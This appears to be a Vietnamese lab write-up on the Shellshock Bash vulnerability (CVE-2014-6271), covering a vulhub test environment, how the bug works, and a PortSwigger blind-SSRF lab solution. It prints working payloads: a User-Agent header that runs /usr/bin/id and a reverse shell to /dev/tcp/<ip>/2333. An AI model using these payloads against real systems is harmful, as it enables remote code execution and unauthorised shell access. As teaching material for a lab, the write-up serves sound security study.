I. Chuẩn bị.
Các bạn có thể clone môi trường tại:
https://github.com/vulhub/vulhub/tree/master/bash/CVE-2014-6271
Lỗ hỏng Shellshock xuất hiện tại các phiên bản từ GNU Bash 4.3 trở về trước.
II. Dựng môi trường và thử nghiệm
Dựng môi trường:
Sau khi dựng thành công, thu được 2 địa chỉ, địa chỉ http://<ip>:8080/victim.cgi chứa lỗ hỏng Shellshock và http://<ip>:8080/safe.cgi đã được sửa lỗi. Trước khi đi vào xem xét môi trường chứa lỗi, cần thay đổi quyền 2 tệp victim.cgi và safe.cgi tại /var/www/html
Nguyên lý hoạt động của Shellshock
Khi gắn giá trị cho biến test
, và thực hiện in ra biến test
:
Nhưng nếu thử chạy 1 tiến trình con bash
trước khi in ra biến test
:
Không in ra giá trị biến $test
. Tuy nhiên khi exit tiến trình con thì vẫn có thể in ra giá trị biến test
. Điều này xảy ra là tại vì khi chạy tiến trình con thì giá trị biến test
vẫn được lưu trong tiến trình cha. Nếu muốn thực thi với biến test
trong tiến trình con, chúng ta có thể export biến test
thành biến môi trường:
Với ý tưởng như trên, nếu chúng ta thử set một hàm thực thi test
thành hàm môi trường thì sao?
Đúng như dự đoán, nó đã thực thi như bình thường.
Vẫn ý tưởng như trên, nếu mình set một đoạn string thành môi trường thì sao?
Vi diệu, khi in biến test
tại tiến trình cha thì được hiểu là string, còn khi thực thi trong tiến trình con, hệ thống lại hiểu thành thực thi lệnh whoami
.
-
Như vậy, để thực hiện tấn công Shellshock thì kẻ tấn công cần có quyền thao tác với biến môi trường (cứ string mà triển) và có thể mở một tiến trình con để thực thi lệnh shell
-
Nguyên nhân lỗ hỏng xảy ra tại cơ chế hoạt động các biến môi trường trong Bash với phiên bản từ 4.3 trở về trước.
Do đó có thể xây dựng một payload để kiểm thử lỗ hỏng Shellshock như sau:
env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
Tại phiên bản Bash 4.3 nó đã hoạt động, giải thích về câu payload trên:
-
env
: đặt biến môi trường sau đó thực thi luôn câu lệnh phía sau -
bash -c
: mở một tiến trình con bash sau đó thực thi lệnh phía sau
Như vậy cả payload hoạt động như sau: sau khi mở tiến trình con bash, hệ thống đặt biến môi trường x
và hiểu x
là một hàm tự động, do không có quy định việc kết thúc của hàm nên hệ thống đã thực thi luôn câu lệnh phía sau và in ra vulnerable, tiếp theo thực thi in ra this is a test
. Tham khảo thêm cách giải thích:
III. Khai thác lỗ hỏng
Do tệp .cgi sẽ kế thừa giá trị biến môi trường từ hệ thống, nên chúng ta có thể khai thác lỗ hỏng Shellshock thông qua User-Agent.
Payload: () { :; };echo; /usr/bin/id;
Cũng có thể thực thi với header Connection
Kết nối với thực thi shell
() { :; };echo; /bin/bash -i >& /dev/tcp/<ip>/2333 0>&1;
RCE thành công =)))
IV. Ví dụ 1 lab trong Portswigger.
https://portswigger.net/web-security/ssrf/blind/lab-shellshock-exploitation
Đề bài cho biết hệ thống thực hiện tìm nạp URL qua header Referer khi người dùng thực hiện tải thông tin chi tiết sản phẩm.
Chúng ta cần sử dụng Shellshock payload để lấy thông tin tên người dùng. Với dải miền ip hệ thống trong khoảng 192.168.0.X mở tại cổng 8080.
Request khi tải thông tin chi tiết sản phẩm.
Gửi tới Intruder, header User-Agent thay bằng payload Shellshock, header Referer dùng để brute force ip hệ thống.
Khi ip hệ thống đúng, thì client Collaborator của chúng ta sẽ nhận được kết quả dòng lệnh $(whoami).